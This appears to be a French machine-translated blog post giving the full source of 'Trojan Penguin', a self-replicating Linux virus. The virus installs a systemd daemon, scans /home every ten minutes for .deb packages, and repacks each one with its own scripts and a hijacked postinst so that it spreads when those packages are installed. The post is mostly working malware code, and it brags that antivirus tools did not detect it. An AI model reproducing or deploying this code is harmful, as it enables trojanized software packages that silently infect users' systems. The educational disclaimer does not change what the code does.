Trojan Penguin: Créer un virus pour Linux

Non, je ne vais pas vous dire comment écrire mon ransomware ransomware, mineur ou exploiter une vulnérabilité très nouvelle, comme vous pourriez le penser. Et plus encore, je ne souhaite pas soulever le holivar "Linux est-il plus sûr que Windows? (Oui)". Mon objectif était d'écrire un simple virus pour linux, personne, pour ainsi dire, «Just for Fun», dont la seule fonction est de distribuer sa copie. À propos de ce que j'ai fait, je vais le dire dans cet article. Au final, je donnerai un lien vers GitHub avec la source.

image

Clause de non-responsabilité


Cet article est écrit à des fins éducatives. L'auteur n'encourage en aucun cas les lecteurs à violer les lois de la Fédération de Russie. Veuillez ne pas répéter les étapes décrites dans cet article sans avoir lu en premier le chapitre 28 du Code pénal de la Fédération de Russie.

Et que ferons-nous réellement?


Le mécanisme de mise en œuvre le plus simple pour propager le virus m'a semblé être diffusé via des packages deb / rpm modifiés. Les packages deb et rpm sont désormais l'outil de distribution le plus populaire pour Linux. J'ai opté pour deb, car le nombre d'utilisateurs de distributions basées sur Debian prévaut sur les utilisateurs de Red Hat et de ses "followers".

Il est également nécessaire que le virus démarre automatiquement, et après chaque période de temps, il analyse l'ordinateur à la recherche de paquets deb. Pour faciliter le débogage, j'ai choisi une période de 10 minutes.

Qu'est-ce qu'un paquet deb?


Le paquet deb est une archive au format .ar qui n'utilise pas de compression. Il y a trois autres fichiers à l'intérieur de l'archive: debian-bynary , control.tar et data.tar

debian.binary - un fichier texte contenant une version du format du paquet deb, pour le moment ils y écrivent toujours "2.0".

control.tar - archive contenant des fichiers contenant des informations sur le package (par exemple, le fichier de contrôle requis) et les packages nécessaires à l'installation du package (par exemple, les scripts preinst, postinst, prerm et postrm qui sont exécutés avant / après l'installation / la désinstallation du package). Il peut être compressé à l'aide de gzip ou xz, auquel cas l'extension .gz ou .xz est ajoutée au nom de l'archive, respectivement.

data.tar - archive avec des répertoires contenant les fichiers installés. Les répertoires sont représentés par une arborescence, sous la forme de laquelle ils doivent être extraits à la racine du système de fichiers. Peut être compressé en utilisant gzip, bzip2, lzma, xz.

Nous devons prêter attention au fichier de contrôle de l'archive control.tar. Ce fichier contient des informations sur le package, telles que l'auteur, la description, la version, la priorité du package dans le système, etc. Je suis intéressé par le champ depend , qui montre les dépendances (packages sans lesquels il ne peut pas fonctionner à partir de ce package). Dans ce domaine, notre virus ajoutera fakeroot et dpkg - les utilitaires qui seront nécessaires lors de la modification d'autres packages sur l'ordinateur infecté.

Pour construire un paquet deb, le répertoire racine du paquet est créé. Les répertoires avec les fichiers installés et le répertoire DEBIAN contenant les fichiers de service, y compris le contrôle et les scripts d'installation / désinstallation, y sont placés. Ensuite, la commande fakeroot dpkg-deb --build ./path est exécutée .

Il y avait d'abord un démon


Au moment d'écrire le virus, j'avais encore une mauvaise idée de ce qu'était Cron , et je suis donc allé en écrivant mon propre démon pour systemd . J'ai créé le fichier trojan_penguin.service, qui sera placé dans le répertoire / lib / systemd / system, et y ai ajouté ce qui suit:

[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target 

ExecStart = / usr / bin / trojan_penguin.sh - ici j'ai indiqué le chemin vers le fichier (vers le futur virus), qui devrait être lancé au démarrage du système.

Type = fork - cette ligne indique que le processus doit dériver du processus parent.
Je n'ai pas vu la nécessité d'un fichier PID, donc je ne l'ai pas ajouté.
Dans les manuels d'écriture de votre propre démon, il est proposé de placer les fichiers .service dans les répertoires / usr / lib / systemd / system / ou / etc / systemd / system /. Mais dans mon ubunt, j'ai trouvé le répertoire / lib / systemd / system. (J'ai eu apache2.service là-bas). Peut-être que quelqu'un dans les commentaires écrira à quoi sert ce répertoire et en quoi il diffère des deux autres.

Le fichier /usr/bin/trojan_penguin.sh j'ai obtenu ceci:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" #    ,    if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #   , #   10  while [ 1 ] do list=$(find /home -name "*.deb") # deb- #        for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log # ,  ,      log done date > $debug/var/log/trojan_penguin/last_start #     (     ) sleep 600 # (60 * 10  = 10 ) done 

Nous recherchons des paquets deb dans la section / home (où puis-je les trouver?), Les chemins d'accès aux fichiers trouvés sont écrits dans la variable de liste . Ensuite, parcourez toutes les lignes de la ligne et pour chaque fichier, nous exécutons le script tp_infect.sh, qui infectera ce fichier. Lorsque j'ai écrit le virus, les scripts se trouvaient dans un répertoire séparé et, pour plus de commodité, j'ai créé une variable de débogage dans laquelle j'ai écrit le chemin d'accès à ce dossier.

Le démon est prêt, il reste à apprendre à l'exécuter au démarrage du système. Pour cela, j'ai écrit un script de post - installation . Il démarrera immédiatement après l'installation du package infecté et indiquera que notre virus démarre avec le système. Je l'ai placé dans le répertoire "/ usr / bin /" pour le copier de là dans les paquets infectés.

 #!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #  ,           systemctl enable trojan_penguin.service #     systemctl start trojan_penguin.service #  

Modification du paquet deb


Comme je l'ai écrit ci-dessus, les archives contenues dans un paquet deb peuvent avoir des autorisations différentes. Je n'ai pas pris la peine, et je n'ai considéré que le cas où les archives sont compressées en utilisant .xz. Le fichier /usr/bin/tp_infect.sh responsable de la modification a reçu le contenu suivant:

 #!/bin/bash #debug=".../Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #   mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #  ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ # control #  control     "Deepends",    "Deepends",   ,     . cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #    cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #     ,    if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #   cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ # ,        ,    . fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp 

Problèmes avec postinstall


Tout irait bien, mais maintenant nous avons un problème. Mais que se passe-t-il si le paquet a déjà postinstal? Le postinstal original peut être écrit dans différentes langues (python, bash ...), c'est peut-être même un binaire. Cela ne nous permettra pas simplement de prendre et d'y ajouter notre postinstall. J'ai résolu ce problème comme suit:

Ajout de la chose suivante au script tp_infect.sh :

 #,     postinstal.  ,      . if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi 

Et en postinstal , c'est ceci:

 #      if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi 

J'ai résolu un problème, mais un autre est apparu. Notre virus modifiera le package, même s'il est déjà infecté. Lors de la modification, le virus verra qu'il y a une post - installation dans le paquet (qui est en fait le nôtre), déplacez-le vers / usr / bin /, écrasant ainsi l'original. Pour éviter cela, j'ai ajouté une vérification à «tp_infect.sh», que nous ayons modifié ce fichier ou non:

 if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi 

Assembler


Le virus est prêt. Voici un lien vers GitHub , comme promis. Ce virus peut être compilé dans un package deb distinct (exécutez makedeb.sh) à partir du référentiel. Pour injecter le virus dans n'importe quel package, exécutez simplement la commande:

 tp_infect.sh /  deb-/ 

Il existe deux copies du script postinst dans le référentiel

DEBIAN / postinst - cette copie n'est effectuée que lors de l'installation d'un package vide avec un virus. Je l'ai commenté pour que le virus ne démarre pas après l'installation et modifie les packages uniquement par commande.

usr / bin / postinst - cette copie est insérée dans les packages infectés.

Résumé


Et la conclusion est évidente sans cet article: vous ne devez pas télécharger et exécuter des programmes à partir de sources non vérifiées.

Par curiosité, j'ai envoyé le package de deb de virus à VirusTotal pour analyse. Au moment de la rédaction, aucun antivirus ne l'a détecté. Voici le lien vers le rapport. Je me demande combien de temps devrait s'écouler et combien d'hôtes doivent être infectés par ce virus pour que les antivirus y prêtent attention?

Source: https://habr.com/ru/post/fr430460/


All Articles